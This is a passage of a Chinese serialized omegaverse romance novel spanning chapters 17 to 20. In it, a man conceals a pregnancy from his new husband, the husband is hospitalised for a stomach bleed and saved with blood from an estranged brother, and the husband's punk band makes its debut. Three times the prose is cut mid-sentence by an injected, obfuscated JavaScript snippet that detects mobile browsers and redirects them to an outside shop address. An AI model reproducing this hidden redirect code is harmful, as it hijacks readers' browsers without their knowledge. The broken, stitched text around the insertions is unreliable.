纪屿欢端着碗走了出去,安达拿起清洁海绵将水池清理干净。下水道反上来的味道让他又一次犯恶心,但这次他忍住了。 他想,秘密就像呕吐物,不吐出来自己恶心,吐出来了大家恶心。 他将清洁海绵洗干净,放在水池旁,走出厨房,在纪屿欢旁边坐下,盯着那张漂亮的脸发愣。 如果,纪屿欢有孩子的话,应该也会像他那样好看吧。 这个想法冒出来,把他自己都吓了一跳。 他冲动地问道:“屿欢,你喜欢孩子吗?” 纪屿欢愣了一瞬,神情微微冷了些:“谈不上喜欢,也谈不上不喜欢。你知道,我有病,不能生育,所以没有考虑过关于孩子的事。” 他的这句话让安达心尖一颤。是啊,他差点忘记了,纪屿欢曾经说过,他生殖腔有问题,无法怀孩子。 “但是,你有没有想过,我们都是beta。我……可以生。”安达有些艰难地说道。 纪屿欢手中的筷子停住了,他沉默了一会儿,问:“你想要孩子?” 安达胸口一热,几乎脱口而出:“我……我们可以要两个孩子,一个跟我姓,一个跟你姓……” 他看着纪屿欢微凉的侧脸,有些踌躇了:“你、你觉得怎么样?” 纪屿欢沉默了片刻,脸上的神情淡了些,露出些许漠然,但随即,他有如往常般展颜一笑:“哥,你别胡思乱想了,我们有彼此就够了,不是吗?孩子的事,顺其自然就好,不用想那么多。” 这番话带了些许安慰之意,安达没再说什么。饺子吃完,他想去收拾碗筷,纪屿欢却说他来就好。 他回到卧室,艳红的结婚证还摆在床头柜上。他下意识轻轻抚摸着小腹,这里面有一个鲜活的小生命。 它的诞生仿佛充满了原罪,可是它有什么错,真正错了的是将它带到这个世界上的人。 如果……流掉这个孩子呢? 安达的心里咯噔一下。是不是这样就能当作一切都没发生过,只有他们两个的“家”,也能就这样运行下去……不是吗? 可是如果以后他真的就再也怀不上了呢?对于他来说,这样的人生就好像少了一块似的。 既然已经迈出这一步了,就不要想那么多了吧。他都已经做了这样见不得人的事,被别人知道了,是要指着鼻子唾骂的。做都做了,事到如今,难道还要反悔吗? 就这样永远藏住这个秘密吧,就这样把这个孩子当成他们的吧,只要纪屿欢永远不知道就行了,除了他、豆子,不会有第三个人知道。 他会好好对这个孩子,好好对纪屿欢,好好经营这个家。 就这样吧,他自己做的选择,如今反悔,要钱没有,要名分没有,要孩子也没有。事到如今,他已经没有退的余地了。 17. 17 纪屿欢收拾完回到卧室时,安达已经躺下了,背对着门口,被子盖到肩膀。 床垫微微一陷,安达感觉到,纪屿欢的手臂从身后环住他的腰,动作比往常更轻,仿佛是某种试探。 “哥,睡了吗?” 安达没动,从鼻子里轻轻“嗯”了一声。 身后安静了片刻,纪屿欢温热的呼吸拂动着他后颈的发丝。 就在安达以为他已经睡着的时候,纪屿欢忽然动了动,将额头抵在他的后背上,声音压得很低:“……老公,你别生气。” 安达的心脏漏跳了一拍。 “……你刚刚叫我什么?” 纪屿欢从未在这样私密的场合叫过他“老公”。之前在排练厅里的时候也叫过……但他不知道,那是不是更接近于一种表演。 纪屿欢仿佛叹了口气,将他的身体掰过来,让两人正对着,将他的手拢在自己的掌心:“我们已经结婚了。我难道不应该这么叫吗?老公。” 这样一个有些肉麻的称呼,却被他以一种自然熟稔的方式叫了出来……安达浑身的鸡皮疙瘩都起来了。 “那,那难道我也要叫你……可是我们两个都是男beta,好像也有点怪怪的。” 虽然他心里是把纪屿欢当成自己老婆的,但这个词他现在还有点叫不出口。 纪屿欢偏了偏头,“你想怎么叫都可以,也还有很多其他的亲密称呼啊。比如……宝贝、宝宝、亲爱的、Darling、Honey什么的。我们已经是一家人了,也应该用更加亲密的方式称呼彼此,不是吗?” 安达:“亲爱的……宝宝?” 纪屿欢仿佛突然被戳中笑穴,笑得直不起腰来。 安达有些恼:“你笑什么?我说得很好笑吗?” “没有,”纪屿欢还是笑,“很可爱。” 安达白他一眼:“你就是在笑我。” 纪屿欢揽过他的腰,将他带在自己怀里,像一只大猫,懒洋洋地将下巴埋在他的颈侧:“哥,你现在不生气了吗?” 安达有些莫名其妙:“我什么时候生过气?” “你有,”纪屿欢笃定地说,尾音发软,甚至带了点委屈之意,“说到孩子的事的时候,你一声不吭就回房间了,怎么可能没生气。” 安达愣了愣,竟然是因为这个。原来纪屿欢觉得他是在生气吗? 纪屿欢见他一时没说话,轻声道:“你是不是介意我不能生孩子的事?” “没有!”安达急忙反驳道,“是因为……” “是因为什么?” 纪屿欢的瞳仁大而清澈,当他专注地看一个人的时候,眼角会不自觉地轻挑起来,像一只矜贵的猫咪。 “是因为……”安达无法回答,这是他的秘密,刚刚他已经下定决心要永远瞒着纪屿欢了,所以他死也不会说的。 他急中生智道:“因为我们两个都是beta,我想到医生说过beta和beta在一起不容易受孕。因为这个,我才有点担忧的,绝对不是因为你的事。” 纪屿欢的视线从他脸上扫了一圈:“真的吗?” “真的啊,”安达用力点了点头,又补充道,“我真的不介意这个的,反正我也可以生啊,谁生都一样。” “不一样。”纪屿欢将脸埋在他的颈窝,闷闷地说。 安达问:“有什么不一样?” 纪屿欢将他圈紧了些:“你可能不知道,生孩子很辛苦,我的妈妈就是生我时难产去世的。” 安达一时失言,愣了愣才说,“对不起……我不知道……” 怪不得他看起来一副没人在乎的样子,原来他从小就没了妈妈。还有,之前他提出要见纪屿欢的父母,也被纪屿欢拒绝了,想来他的家庭环境也很复杂,多半是当爹的另娶了,对原配的孩子置之不顾,结婚的时候倒想起彩礼这档子事了。这种事安达见得多了,一时对纪屿欢心生同情。 他伸出手,将纪屿欢环住:“那你小时候应该不太好过吧……” 他很清楚单亲家庭的孩子在成长过程中会碰见什么。 纪屿欢说:“没关系,反正我从来就没有见过她,已经习惯了。” 安达想了想,问:“你是因为这个,所以不想要孩子吗?” “我没有不想要孩子,”纪屿欢垂眸道,“只不过对于我来说,没有这个选项。” “……没有这个选项?”安达下意识地重复道,“这是什么意思?” 纪屿欢若有所思地沉默了一会儿,随即毫不在意地笑笑,“没什么意思,就是顺其自然的意思。有也好,没有也罢,反正对我来说,都一样。” “咳,那啥,”安达有些不好意思地说道,“那我们要不要也‘顺其自然’一下?” 纪屿欢似笑非笑地盯着他看,“老公,你很想要个孩子么?” 安达别过脸,轻咳一声,“有个孩子,家里比较热闹……” 纪屿欢翻了个身,热腾腾的呼吸陡然接近。 “差点忘了,今天是我们的新婚之夜,”纪屿欢笑意盈盈地看着他,“老公,我们得再努力点才行。” 夜深露重,安达总觉得,纪屿欢好像和以前不太一样。上一次两个人在一起,是意料之外的事,他从纪屿欢身上感受到的是急切的索取。可是这一次,纪屿欢几乎能称得上张弛有度了,他甚至能感觉到纪屿欢似乎在观察他的反应,这让他十分窘迫。 (就是亲了一下,没有脖子以下的内容) 他们吻了一会儿,在他还没有反应过来的时候,纪屿欢就将手探过去,“我来帮你。” “等、等一下,你别这样,我……” 安达一骨碌往后缩,却被纪屿欢捉住。看着他微微扬起脖子,性感的嘴唇张开,安达头皮一阵发麻。 以前都是他服务别人,他从未想到,自己也有被这样“服务”的一天。 在他的认知里,他给林韬这么做,是应该的;给纪屿欢这么做,也是应该的;可是反过来,好像有哪里不一样了。 他不知道……也许他潜意识里觉得自己不该被这样对待,也从未把自己摆在这个位置上,可是纪屿欢就是这么做了。 他语无伦次道:“你、你别这样……” 那双漂亮的眼睛从下往上朝他一望,他又说不出话来了。 Riann kissed his belly,说:“哥,放松。” 安达被迫一会儿放松,一会儿绷jin,仿佛上了条浪里漂荡的贼船。 (只是说明他很紧张,无事发生,无不良引导) 他说不出来是个什么滋味,只是有一种直觉,纪屿欢好像要补偿他什么似的。 渐渐地asm盖过了那点怪异的感受,他什么也顾不上了。 。 完事后,安达大汗淋漓地躺在床上喘气,感慨这男人一上了三十就是不一样了。以前和林老板在一起时,很多东西也不是没玩过,他觉得自己挺耐造的啊,怎么被这么简简单单地一弄就不行了。 纪屿欢搂着他睡,房间里很热,安达的脑海中一片混沌,不知不觉睡着了。 他梦见自己变成了村口的那只三花猫,生下一窝小崽子,个个花色都不同,明显不是同一个爹。村里人就抄着扫把在他背后撵,一边撵一边骂:“咱秀才村就没有你这么不检点的猫!” 安达一个哆嗦,猛地惊醒过来。 * 安达总想着:我过几天就告诉他。不知不觉就过了年,又过了一个月。到了二月份,安达怀孕三个多月了,他既没有下定决心告诉纪屿欢,也没有下定决心去把孩子打了。 不知道是不是他的心理作用,他觉得自己的小腹好像没那么平了。纪屿欢有次搂过他时随口一提,说哥你好像腰上长了点肉,把安达吓得脸都白了,紧张地狡辩道:“胡说,男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安达站在原地,看看她纤细的背影,又看看那只断尾的狸花猫。猫咪抖了抖耳朵,轻巧地跳上垃圾桶,头也不回地消失在围墙后面。 隔天安达再来时就从超市买了一袋猫粮。他没敢靠近,远远地撒在墙角,然后退开。猫过了一会儿才出现,嗅了嗅,低头吃起来。 “你该不会觉得自己这么做很善良吧?”女孩的声音突兀地在背后响起。安达吓了一跳,站起身来。不知何时,茜莉幽幽地出现在了他的背后,漆黑的眸子如同笼罩着一层薄雾。 “你今天高兴了,给它喂点吃的,它就会依赖你,如果以后你不来了,它要怎么办?” “可是,我也没有什么能做的了呀,”安达说,“有猫粮吃,总比翻垃圾桶好吧,垃圾桶里的东西多不卫生啊,吃了容易拉肚子。” 那只狸花猫狼吞虎咽地吃完猫粮,舔了舔爪子,意犹未尽地朝安达那边看了一眼。 安达又往自己身前倒了些猫粮,朝它招手,“小家伙,过来。” 狸花猫警惕地观察了他们半晌,似乎是确认了他们并无恶意,才慢吞吞地踱步过来。 安达试探性地伸出手,摸了摸它的脑袋,猫咪僵了一下,但并没有反抗,反而舒服地眯起了眼睛。 “叫你什么名字好呢?小黄?小咪?” “真难听。”茜莉说。 “那你给它起一个吧。”安达说。 茜莉思索了半晌,才犹豫地说:“要不就叫它‘饼干’好了。” 想了半天,结果还是起了这样的名字啊,安达忍不住想。“好,那你以后就叫‘饼干’了。” 饼干喵喵叫了两声,似乎是表示同意。安达高兴地又给它撒了些猫粮:“吃吧!” “没出息的小家伙,”茜莉看着它吃得正欢的样子,伸出手,摸了摸它不甚光洁的毛发,“这么点小恩小惠就把你打动了。” 18. 18 “你们蹲在这儿做什么?”纪屿欢的声音从背后响起。 “哦,就是看这只小猫老是在翻垃圾桶,就给它买了点吃的。”安达说,“我们还给它起了个名字呢,叫饼干。” 饼干盯着纪屿欢看,呲牙低吼了一声,转身就跑,消失在了墙角。 “怎么你一来就把它吓跑了!”安达转过头瞪他一眼。 纪屿欢摊摊手:“我什么也没干。” 茜莉轻轻地叹了口气:“Riann有时候的表情很凶呢。” 安达不无惋惜地说:“都怪你,我本来还想着要不要把它带回家养呢,它这么怕你的话,就算了。” 纪屿欢揉了揉他的发顶:“你怎么这么同情心泛滥,看见哪个流浪的小动物都想带回家么?” 茜莉若有所思地看着他们。 从那以后,安达和茜莉渐渐熟了起来。这个女孩并不像她表面上看起来那么高冷,偶尔也会流露出和她年纪相符的单纯的一面。 就这样,安达的小日子还算得上平淡幸福。 天冷了,天龙泉那边渐渐忙起来,安达就很少有时间去乐队排练室了。纪屿欢忙于乐队的事,回家也越来越晚,安达好几次给他留了饭,第二天早上起来,饭盒还是原封不动地摆在冰箱里。问起来,纪屿欢只说排练室那边吃过了,笑他像个小管家婆。 又是一天,安达正给客人撒浴盐,忽然接到一通医院的电话。 听筒对面的声音严肃:“您好,这里是市一医院,请问是纪屿欢的家属吗?患者晕倒,目前正在抢救,请您尽快赶到市一医院急诊。” “医院”“晕倒”“抢救”……这些字眼打在安达心头,记忆深处的恐惧摄住了他。当时老爹也是这样,明明之前都好端端的,突然就……醒不过来了。 然后……救护车的急鸣、刺鼻的消毒水味、蓝白他站在手术室的门外看着那盏红灯,脑子里一片空白。无数记忆闪回,如同层层叠叠的丝线将他缚住。 为什么医院总和他的家人过不去呢? 安达脑海中嗡嗡作响,手一抖,浴盐悉数洒进了浴缸。 客人不满极了:“怎么这么不小心?” 安达魂不守舍,连说几声抱歉,就丢下手里的东西冲了出去。 他在天龙泉门口拦了辆出租车,让司机以最快速度去市一医院急诊,司机一听,一脚油门启动,车子左摇右晃,颠得安达差点把晚饭吐出来。 但他顾不得那么多,下了出租车后,又是一路狂奔到急诊大厅导诊台,扒住导诊台边缘,气喘吁吁地问道:“纪屿欢,刚才送来的,他在哪……” 他被护士带到急救室门口。 走廊里已经有人了。罗顿靠墙站着,一头金色髦发乱糟糟地垂在瘦削脸颊两侧,指尖夹着一支没点燃的烟。 茜莉坐在长椅上,抱着她的贝斯包,眼眶红红的。米拉在和护士说话,声音压得很低,神情紧绷。 安达冲上去,一把揪住罗顿的衣领:“怎么回事?他怎么了?他为什么会晕倒?” 罗顿没有躲。这个在排练室里一贯傲慢、咄咄逼人的男人,此刻垂着眼睛,任由安达揪着他,沉默了几秒才开口。 “他在写新歌,这几天一直没好好吃东西……”罗顿的声音沙哑,“是严重胃出血以及低血压,现在正在抢救。” “没吃东西?”安达觉得这几个字荒谬至极,“他怎么会没吃东西?他跟我说他有好好吃饭的,他、他……你们天天跟他待在一起,就没人发现吗?” 茜莉抬起头,想说什么,看见安达的表情,欲言又止。米拉皱了皱眉,走上前来,试图拉开安达。 “安先生,你先别激动,现在不是追究责任的时候。” “那你让我怎么接受?”安达猛地转头,眼眶通红,“他躺在那里面,我连他为什么躺进去都不知道!你们天天在一起排练,他胃不舒服你们看不出来?他不吃饭你们就当没看见?” 米拉皱了皱眉,“我们都是成年人,没有权利也没有义务盯着另一个人吃饭。而且,干我们这一行的,饮食不规律也是常事。” “那你们难道都一点儿也不关心他吗?”安达的声音陡然拔高,“你们不是朋友吗?他饿了不知道吃饭,生病了不知道去医院,你们一点儿也不在乎吗?” 安达想不通,他那么用心地照顾着纪屿欢的饮食起居,生怕他有哪里不好,怎么一会儿不见,好端端的人就进急救室了呢? 他知道纪屿欢有多热爱乐队,可是乐队的其他人竟然一点也不关心他的身体吗?安达替纪屿欢觉得寒心、觉得委屈。 “够了,”罗顿终于开口,“吵这些有用吗?Riann还在里面。” 安达嘴唇颤抖着,揪着罗顿衣领的手指慢慢松开了。 是啊,现在说这些还有什么意义。他作为纪屿欢的家人,竟然没有发现他的胃病这么严重,他才该负最大的责任,不是吗? 他颓然后退一步,甩甩头,说:“抱歉,是我太激动了。” 这时抢救室的门开了,一个医生走出来,手里拿着病历夹,“纪屿欢的家属?” 安达几乎是弹起来的,“我是!我是他……他丈夫。” 医生点点头,语速很快:“患者是急性胃出血,失血量比较大,目前已经紧急做了内镜下止血,但情况还不稳定。现在最关键的是需要输血。” 安达的心猛地揪紧:“那输啊,抽我的,我是他丈夫,我——” “您是RH阴性AB型血吗?” 安达愣住了。 “……什么?” 医生看了他一眼,重复道:“患者是RH阴性AB型血,俗称熊猫血,血型非常稀有。血库里目前没有这个血型的库存。如果家属里有相同血型,可以紧急采血。您是……” 安达的嘴唇张了张,他不是,他只是最普通的O型血,满大街都是。 他慢慢转过头,看向身后那几个人。 茜莉缩了缩脖子,小声说:“我是A型……” 米拉摇头:“B型。” 罗顿没有说话。 安达看着他,忽然想起排练室里那些他听不懂的对话,想起纪屿欢对桃子过敏、对很多事情讳莫如深。 “你知道,对不对?”安达轻声质问,语气几乎是笃定,“你知道他是这个血型。” 罗顿没有否认。他垂着眼睛,金发遮住了大半张脸,喉结滚动了一下。 “……嗯。” “那你为什么不早说?”安达质问道,“你明知道他严重胃出血!” “我知道。”罗顿打断他,“我知道他是这个血型,血库里可能没有。所以我已经提前联系了一个人。” 他顿了顿,“只不过这个人会不会来,我就不知道了。” 安达愣了愣,“什么叫你不知道他会不会来?那他要是不来你要怎么办?就任由纪屿欢在里面流血吗?”他气急了,“那你把他的电话给我,我去跟他说,大不了我去求他!” 罗顿脸色微沉,“他们之间的关系没那么单纯,就算你去求他,也未必有用。RH阴性熊猫血内部有互助协会,已经在协会里发布了信息,或许会有志愿者来联系我们。” 安达焦急地在走廊里踱步:“那现在怎么办?难道我们能做的就只有等吗?” 叮咚!走廊的尽头,电梯门打开了,里面缓缓走出来一个漂亮的青年男人,小臂上挎着只一看就很名贵的手袋。他穿着华贵、姿态优雅,举手投足间仿佛带着种富太太般的怡然自得。 看他的样子,应该是一个养尊处优的Omega。他一出现,空气中就弥漫着一股甜腻的玫瑰花香。安达作为一个Beta,是闻不到信息素的,所以这个Omega应该喷了很浓的香水。 安达的第一反应是,这人和纪屿欢好像有点像。 漂亮青年摘下墨镜,露出双和纪屿欢如出一辙的杏眼,眼波微转,扫过在场的人群,从上到下,又从下到上,像在打量一件路边摊上的廉价商品,带着种优越感。 “这么多人啊,”青年男人微微一笑,笑容优雅而得体,“看来我那个让人不省心的弟弟,还没死嘛。” 罗顿冷笑一声:“Ming,你可真是姗姗来迟。” 青年唇边带着讽刺的笑意:“罗顿,好久不见,看来在中国待久了,你的中文也有所长进,竟然都会用成语了。” 青年并未与罗顿多作寒暄,反而将目光转向旁边的安达,“你是……”他顿了顿,眸光中闪过一丝诧异,“安达?” 安达惊异:“你认得我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“呵,算了——毕竟,我也不想让我的弟弟真的死了,”纪舟明的目光在安达脸上停留了片刻,慢条斯理地重新戴上墨镜,“他要是死了,我还有谁的笑话可以看呢?” “你!”安达刚要说什么,却被罗顿拉住,罗顿脸色发沉,朝他摇了摇头。 安达心下猛地一惊,将到了嘴边的话硬生生咽了回去。这个人毕竟是纪屿欢的哥哥,又是熊猫血,而且他既然来到了这里,就一定有办法! 他深吸了一口气,“求求您救救屿欢吧,就算你们之间有什么恩怨,可他毕竟是你的弟弟啊!” 隔着墨镜,纪舟明冰冷的目光钉在他的脸上,安达紧张地等待着他的回答。 半晌,纪舟明背过身去,淡淡道:“我私人血库里的血十五分钟后送到。” 安达愣了一下,才反应过来对着他的背影道:“非、非常感谢您!” “谢我?没什么可谢的,记得告诉他,他接受了谁的施舍,这对于他来说,应该是莫大的羞辱吧?” “你……不等他醒来吗?”安达脱口而出。 纪舟明转过头,用那种看傻瓜的眼神看着他:“你以为我很想见到他吗?我的时间很宝贵,不应该浪费在这种人身上。” 安达沉默片刻,小心翼翼地问道:“那……你们其他的亲人呢,没有人要来探望他吗?你们的父母……”他忽然想到纪屿欢说过他的母亲是生他时难产去世的,连忙改口道,“抱歉……我是说你们的父亲……” 纪舟明的表情微微一顿,慢条斯理地看了他一眼:“屿欢没有告诉过你吗?我们的父亲在几年前就出车祸死了。” 安达的脸色顿时变得有些苍白。死了?也就是说,纪屿欢的父母都已经不在了? 纪舟明继续道:“现在我们没有其他亲人,就算有,也只是些八竿子打不着的远方亲戚。” 安达的脑袋嗡嗡作响。 纪屿欢的双亲都去世了,那他之前说的“彩礼”,到底是怎么回事? 纪屿欢明明说过,是“家里”要的……总不可能……是他的哥哥要的吧? 纪舟明观察着他的脸色,似乎察觉了什么,微微一笑,“看来,我那个不成器的弟弟,又撒谎了。” 安达抬起头,对上他的视线,心头一跳:“什么意思?” 纪舟明看着他,温声说道:“我的弟弟品行不太好,从小就撒谎成性。跟这种人生活在一起……” 他意味深长地顿了顿,看着安达,缓缓说道:“你应该挺辛苦的吧。” 19. 19 电梯门“叮”的一声打开。纪舟明迈步走了进去,只留下一丝若有若无的香水味。 两个小时后,抢救室的门打开,纪屿欢被推出来,在走廊等待的几人都扑到床边。 医生走出来:“患者已经脱离危险,但需要住院观察一段时间,家属去办一下住院手续吧。” 安达腿一软,从医生手中接过病历单,向医生连连道谢。 他办完手续回到病房时,纪屿欢已经醒过来了。 他靠在床头,粉发有些凌乱地垂在额前,正和围在床边的其他乐队成员说些什么。茜莉眼眶发红,米拉抱着手臂站在一边,罗顿靠在窗边,不知道在想些什么。 安达轻声走过去,听见他们还是在聊跟音乐有关的事情。他没有再说什么,只是默默在一边坐下。 纪屿欢的声音有些沙哑:“这首歌的bridge还要改,旋律和编曲再轻盈一点,改完就发给我听……咳咳,咳!” 茜莉轻声道:“Riann,你这几天就好好休息吧,不要操心乐队的事情了。” “没事,你们不用担心我,”纪屿欢摆摆手,“你们都先回去吧,不要因为我耽误了进度。” 米拉还想说什么,却被罗顿一个眼神止住了。 “走吧,”罗顿说,“让他休息。” 几个人往外走,经过安达身边时,罗顿脚步顿了一下。他没有看安达,只是说了一句:“照顾好他。” 房门关上,病房里一下子安静下来。 纪屿欢这才看向安达的方向:“哥,你还在那里坐着干什么?” 安达走过去,在床边坐下。 他想说点什么,想问他为什么不好好吃饭,想问他跟纪舟明之间发生过什么,那所谓的“彩礼”又是怎么回事。 可他看着纪屿欢脸色那么苍白,却还是勉强扯出了一丝笑意,让他不要担心,所有话都堵在喉咙里,什么也说不出来。 他伸出手,把被子往上拉了拉,“难受吗?” 纪屿欢愣了一下,然后摇摇头:“不难受了。” “骗人。”安达说。 “真的不难受了,”纪屿欢轻轻捏住他的手,“哥,你别生气。” 安达胸口发酸。 生气吗?当然。可是更多的是心疼、委屈。 “……我没生气。”安达闷声说。 “骗人。”纪屿欢说。 安达接了一杯温水,递给他,说:“你哥哥来过了。” 纪屿欢接过杯子,指尖不自觉蜷缩,指尖发白,“谁?” “纪舟明。他说他是你亲哥哥,来给你输血的,”安达顿了顿,“我以前都不知道,你是熊猫血。” 纪屿欢慢慢地抿了一口水,才将水杯放下,说:“……他走了?” “走了。”安达说,“他说……不想见你。” 纪屿欢没说话。 安达看着他,忽然觉得自己是不是不该提这件事。可话已经说出去了,收不回来。 “他还说……”他迟疑了一下,“你们的父亲,已经去世了。所以,那十八万八,到底是谁要呢?” 纪屿欢的肩膀轻轻耸动了一下。 安达等着他的解释,关于“彩礼”,关于他们家。可是他什么都没说,只是静静地看着窗外。 窗外是医院的住院楼,灰扑扑的墙面,什么也没有。 就这样沉默了许久,安达站起身来,替他把被子又拉了拉,“算了,”他说,“你不想说就算了。” 他转身要走,却被一只手拉住了袖子。 “哥,”纪屿欢轻声叫他,“我现在没法和你解释,但是你能不能相信我一次?” 他回过头,对上纪屿欢的眼睛。 那双眼睛里混杂了很多东西,复杂的、柔软的、脆弱的、倔强的,揉碎在一起,让人看不分明。 安达沉默了一会儿,说:“我已经相信了你很多次。” 纪屿欢的眼神黯淡了下去,沉默了一会儿才说:“抱歉。” 安达扭过头,说:“那十八万八,我们之前说好了,八万八是给你的彩礼钱,但剩下十万的你要还上,这是签字画押过的。这些约定,都还作数,至于别的事,等你想跟我解释的时候,再解释吧。” 纪屿欢的双拳在被单上悄然攥紧:“不管是那八万八还是十万我都会还给你,你相信我。” 安达只是转过身,摇了摇头。 又还能说什么呢,两个人都已经结婚领证了。那笔钱,虽说是作为给他家的彩礼,但终究是给了纪屿欢这个人。他不是因为那些素未谋面的纪屿欢的“家人”给的,而是因为纪屿欢是他的老婆,他才给的。十八万八讨个老婆,算不上亏,从结果上说,他没什么可抱怨的。 也许,纪屿欢有他自己的理由,但这种事终究是不能抹去的裂痕。从那以后,他们两个的关系变得有些微妙。 一个礼拜后,纪屿欢出院了,他投入了更多时间在排练室,除此之外,一切如常。 安达还是会去给他送饭,他尽量用和以前相同的态度对待纪屿欢,可是他发现,他的心中埋下了芥蒂。 你在介意什么呢?这场婚姻,本来就只是为了给孩子找一个名正言顺的降生地。你难道指望一个在大街上临时拉来的人,做你的模范妻子吗? 就算他骗了你又怎么样?你不是骗他更多吗?安达如此问自己。可是这样想,并没有让他的心里平衡哪怕一点。 三月的一个周六,由纪屿欢担任主唱的地下朋克乐队“N?D”正式出道,首次演出在市中心酒吧巷最大的Livehouse。 Land of Nod —— 伊甸园以东的流亡之地,亦是人类离开旧日乐园后亲手建起的第一座城。N?D取意于此,意为在前身Eden乐队的废墟上重建的、属于流亡者的乐土。 安达从未来过这条酒吧巷,在他心里这是不成体统的地方。这里灯红酒绿、纸醉金迷,霓虹灯从街头亮到巷尾,穿着时髦的年轻人三三两两聚在一起,像夜行动物般,彻夜狂欢。 各种信息素的味道混杂在一起,释放着原始而蓬勃的欲望,但对安达这个Beta来说,只能闻到烟与酒的味道,即便如此,也令他的神经不自觉地紧张起来。 他找到那家Livehouse时,做了好久心理建设才下定决心进去。门口排着长队,沿着街角拐了个弯,大多是穿着光鲜、精心打扮过的年轻人,有男有女。 在桃李市,安达从没一次性见到这么多新潮的年轻人。桃李市是一座传统工业城市,虽然经济发展还算不错,但老派陈旧,思想古板,年轻人占比不高,和南方那些新兴城市完全没法比。 这里的人讲究铁饭碗,孩子长大了最好进厂、考公、接父母的班。安达自己就是在这种环境里长大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547888|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,什么时候该做什么事,这些思想已经深入骨髓,只不过他也没照做就是了。 刚认识纪屿欢时,安达甚至不知道桃李市还有朋克乐队的存在。这种新潮的东西,听起来就跟这座传统的城市格格不入。 安达默默顺着人流往前走,听见周围的歌迷聊天,安达才知道,不少人是专程为了乐队从外地来的。整个北方的摇滚朋克乐队都很稀少,因此像这种小有名气的乐队举行演出时,就会吸引周边城市的摇滚歌迷前来。 “安达,过来这边!” 米拉的声音从旁边传来,她站在侧门处,冲他扬了扬下巴。安达赶紧挤过人群,跟着米拉从侧门钻了进去。 米拉是乐队的制作人兼经理,显然她今天晚上也忙得焦头烂额,她一连接了好几个电话,将安达带进去后,便立刻去处理调音台那边的问题了。 Livehouse里面比安达想象得大得多,挑高的天花板,专业的音响设备,分为上下两层,上层的卡座基本坐满,下层更是人满为患。 打扮新潮的年轻人鱼贯而入,将安达推搡到角落,这里又热又挤,让他很不自在。 旁边两个女生在聊天。 “天知道Eden乐队解散的时候,我哭得有多惨,真没想到,这支乐队竟然还能重组,有生之年啊!” “据说他们之前是因为资金问题和理念不合解散的,这次重组换了贝斯手和制作人。我真不懂他们怎么会找米拉来当制作人,我记得她不是搞流行乐的吗?” “反正我只是冲着Riann来的,要是他真的不唱了我会哭死。” “唉,话虽如此,但我还是希望他们能保持原来的朋克风格。” “他们还没唱呢,你干嘛这么早下定论?”女生不满道,“风格才不会限制住Riann。” “是啊,”另一个女生不由感叹道,“地下乐队能做成这样,真是少见。像Riann这样的人,应该站在更大的舞台上。” 安达下意识地朝舞台看过去,那舞台约摸六七米长,比他人还高,巨大的LED屏幕循环播放着乐队的LOGO——一对交叉的天使翅膀,环抱着一颗破碎的心。 更大的舞台……吗?安达不由想,那要有多大的舞台,才能配得上他呢? 可是他明明那么小,小到总是缩在沙发的最角落里,拨弄着他的那把吉他。小到只要他一个人照顾,就够了。 咔哒!灯光骤灭,屏幕上显示出倒计时,又化为光点四散。 10,9,8,7…… 所有人不自觉地屏住呼吸。 3,2,1—— 喧嚣声被压制到了一个极点,场馆里的空气仿佛凝固了一般。 一束惨白的追光打在舞台上,映出暗处的人影。 安达愣住了。 舞台上的那个人穿着黑色紧身背心,外面罩着半透明的黑色网纱衬衫,肩上挂着一把暗红色的电吉他,腰间薄且韧的腹肌若隐若现,随着呼吸微微起伏。一头张扬的发丝凌乱地垂落下来,将半张脸掩在阴影里。 台下尖叫声炸开。浪潮一阵高过一阵,最后化为整齐划一的“Riann,Riann,Riann……”喊声震耳欲聋。 纪屿欢站在立麦前,一手扶着麦架,嘴角垂着一抹漫不经心的笑意。然后,他微微仰起脖子,伸出食指,抵在唇前。 “嘘——” 20. 20 所有人都下意识地服从,屏息静气,一时间,偌大的场馆里竟然安静得连呼吸声都听不见,仿佛只能听见心跳咚咚作响。 就在这一秒的空隙里,爆裂的鼓点几乎是在一瞬间砸了下来!紧接着,贝斯轰鸣,低音如浪潮般在场馆里铺开,让人的五脏六腑也不住地紧跟颤动。 所有的追光灯全部亮起,遮蔽了所有阴影。罗顿和茜莉从黑暗中现身,各自站在纪屿欢的斜后方。 他们的衣着同样经过精心设计,罗顿穿着一件改版西服外套,里面什么也没穿,小麦色的胸脯上挂了一条银色十字架。茜莉则身着一袭华丽的黑色哥特式短裙,腰部连缀同色系的长拖尾,头戴闪闪发光的银色头冠,层层叠叠的黑纱从头顶铺开至地板。 此时,他们都沉浸在音乐里,指尖在乐器上跟着急促的节奏狂舞。 可是,这个舞台的主角,无疑是纪屿欢,他是这个乐队的灵魂。 纪屿欢缓缓抬起眼,左侧眉骨上那一枚银色钉子熠熠生辉。这一瞬间,安达的心口像是被什么东西撞了一下。那双眼睛他太熟悉了,笑起来时,会弯成两道月牙。可此刻,那双眼睛里没有一丝温柔,只有一种仿佛要剖开所有的虚伪与迷惘般的锋利。那是一种直击人心的力量。 纪屿欢开口唱,声音沙哑而慵懒,甚至带着某种漫不经心的挑衅。 “这里很安全,你会被喜欢。” “请你光临,我们的第二伊甸——” 